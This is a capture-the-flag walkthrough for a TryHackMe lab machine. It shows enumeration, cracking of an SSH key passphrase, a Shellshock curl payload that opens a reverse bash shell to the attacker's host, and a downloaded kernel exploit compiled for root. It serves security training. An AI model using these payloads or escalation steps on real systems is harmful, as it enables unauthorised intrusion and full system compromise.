# 0Day CTF for Cyberhawks

## February 17, 2022

### Prerequisites:

1. A Kali Linux installation with connection to the internet, doesn't matter if it's a VM or bare metal.

2. A TryHackMe account with OpenVPN credentials uploaded to your Kali machine. The machine we are going to be rooting today is at: https://tryhackme.com/room/0day

3. Make sure you use OpenVPN to connect to the TryHackMe network (replacing yourcreds with your credentials file from "access" under your avatar on the TryHackMe top banner):
   ```
   sudo openvpn yourcreds.ovpn
   ```

4. The SecLists wordlists somewhere on your Kali machine (I put mine in /usr/share/worldlists):
   ```
   cd /usr/share/wordlists
   sudo git clone https://github.com/danielmiessler/SecLists.git (This is kinda big and might take awhile if you have slow interwebs.
   ```

5. Gobuster installed on Kali, run commands
   ```
   sudo apt update
   sudo apt install gobuster -y
   ```

6. Make sure rockyou.txt.gz is extracted into /usr/share/wordlists
   ```
   cd /usr/share/wordlists
   sudo gunzip rockyou.txt.gz
   ```

### CTF Exploitation:

1. Nmap scan the machines IP (10.10.xxx.xxx):
   ```
   sudo nmap -sV -O 10.10.xxx.xxx
   ```
   In the results we see SSH and HTTP ports open (22 and 80)

2. Let's use gobuster to see what directories we can find:
   ```
   gobuster dir -w /usr/share/wordlists/SecLists/Discover/Web-Content/common.txt -u 10.10.xxx.xxx
   ```

   We find a couple of interesting 301 hits here:
   a. /admin
   b. /backup
   c. /cgi-bin
   d. /robots.txt
   e. /secret

    f. /uploads

3. /admin shows nothing, while /backups shows us an SSH private key. Right click this and click “view source” and copy paste this into a text file named key_rsa

4. John can be used to turn an ssh key into a hash:
   ```
   /usr/share/john/ssh2john key_rsa > hash.txt
   ```

5. Crack this using john with:
   ```
   John -wordlist:/usr/share/wordlists/rockyou.txt hash.txt
   ```

   We get the password “letmein”

6. Let’s cross our fingers and try logging in as root on the box (first we have to change permissions on ssh key)
   ```
   chmod 400 key_rsa
   ssh -i key_rsa root@10.10.xxx.xxx
   ```

   When prompted enter the password you found with john (letmein).
   No dice, still need a password to login ☹

7. Returning to our gobuster output, we can investigate the other directories. One that sticks out is /cgi-bins that gives us a 301, but when visited returns a 403 forbidden error. Hmmmmmmmmmmmm…

8. A quick google of “cgi-exploits” returns this: https://book.hacktricks.xyz/pentesting/pentesting-web/cgi

   Looks like there is something called “shellshock” which affects cgi scripts, which we can run against cgi scripts on the web directory. To do this, we first need to find the cgi script to execute the malicious curl command on.

9. Back in gobuster, we can specify a file extension to search for with a wordlist and a subdirectory:
   ```
   gobuster dir -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -u
   http://10.10.xxx.xxx/cgi-bin -x cgi
   ```

   This will find us the /cgi-bin/test.cgi page.

10. If you want to take the easy route, there is an auxiliary msf module that will allow you to remotely execute commands on this directory (auxiliary/scanner/http/apache_mod_cgi_bash_env)

11. Let’s do this the manual way though with reverse shell curl command from the “exploit” section of the above hacktricks.xyz site

12. First, start an netcat listener on Kali:
    ```
    nc -nlvp 4444
    ```

13. Now copy paste the curl exploit in a terminal and edit the blue text to your Kali tun0 IP (can be found with “ip address” command) and the port our netcat listener is on (4444). The green text needs to be changed to the target’s IP and directory (10.10.xxx.xxx/cgi-bin/test.cgi).

    ```
    curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.xxx.xxx.xxx/4444 0>&1'
    http://10.10.xxx.xxx/cgi-bin/test.cgi
    ```

14. Execute this command and you should get your reverse shell with the netcat listener. Running the command “whoami” should reveal www-data. This level of user privileges should be sufficient to find the user.txt flag (in /home/ryan).

15. Now its time for some privilege escalation. First though, lets stabilize our shell with tty by starting with making a more stable python shell:
    ```
    python -c ‘import pty;pty.spawn(“/bin/bash”)’
    ```

16. Now execute the command:
    ```
    export TERM=xterm
    ```

17. Now press the keys ctrl+Z to background the session and then type the command:
    ```
    stty raw -echo ; fg
    ```

    Now press ctrl+L a couple of times and you will see you can clear the terminal and do other useful stuff like autocomplete.

18. Ok, now its really privesc time. Lets grab the LinPeas script from github. In a new terminal on your Kali machine run:
    ```
    wget https://github.com/carlospolop/PEASS-ng/releases/download/20220214/linpeas.sh
    ```

19. Now we need to start a webserver from our Kali machine in the directory we just put linpeas.sh into with the command:
    ```
    python3 -m http.server 80
    ```

20. Back in our shell on the target machine, let’s navigate to somewhere we have write permissions, /tmp is always a safe bet.
    ```
    cd /tmp
    ```

21. To grab this script we need to wget from our Kali IP:
    ```
    wget http://10.xxx.xxx.xxx/linpeas.sh
    ```

22. We need to make the script executable and then run it
    ```
    chmod +x linpeas.sh ; ./linpeas.sh
    ```

    Let the script do its thing and we will investigate the findings.
    Under “Basic Info” we say the kernel version in red and yellow, which is bad (well, good for us!)

    Btw, this could have been manually found by running the command “uname -a”
23. Back to our friend google, let’s search for “Linux kernel 3.13.0.32 exploit”. Exploit-DB give us this: https://www.exploit-db.com/exploits/37292

    This is actually already on our Kali machine (find using “searchsploit 3.13 | grep Kernel” (second one, called 37292.c)

24. Either download this exploit to Kali or make a copy, I will copy using into the directory I am still running the python web server:
    ```
    cp /usr/share/exploitdb/exploits/linux/local/37292.c .
    ```

25. We need to now copy this over to our target machine using the web server:
    ```
    wget http://10.xxx.xxx.xxx/37292.c
    ```

26. Time to compile and run and hopefully get root! Compile (on target machine) with:
    ```
    gcc 37292.c -o ofs
    ```

    Whoops, this doesn’t work. Why? Because the gcc can’t find the “cc1” program in the machines path.

27. Lets find where this is and add it to path.
    `find / -name cc1 2>/dev/null` ( the 2>/dev/null gets rid of errors and cleans up the output)

28. It appears it is in /usr/lib. Let’s add that to path.
    ```
    export PATH=$PATH:/usr/lib
    ```

29. Now we get a successful compile when we run step 26 again! Lets also run:
    ```
    ./ofs
    ```

    Got Root! Flag is at /root/root.txt.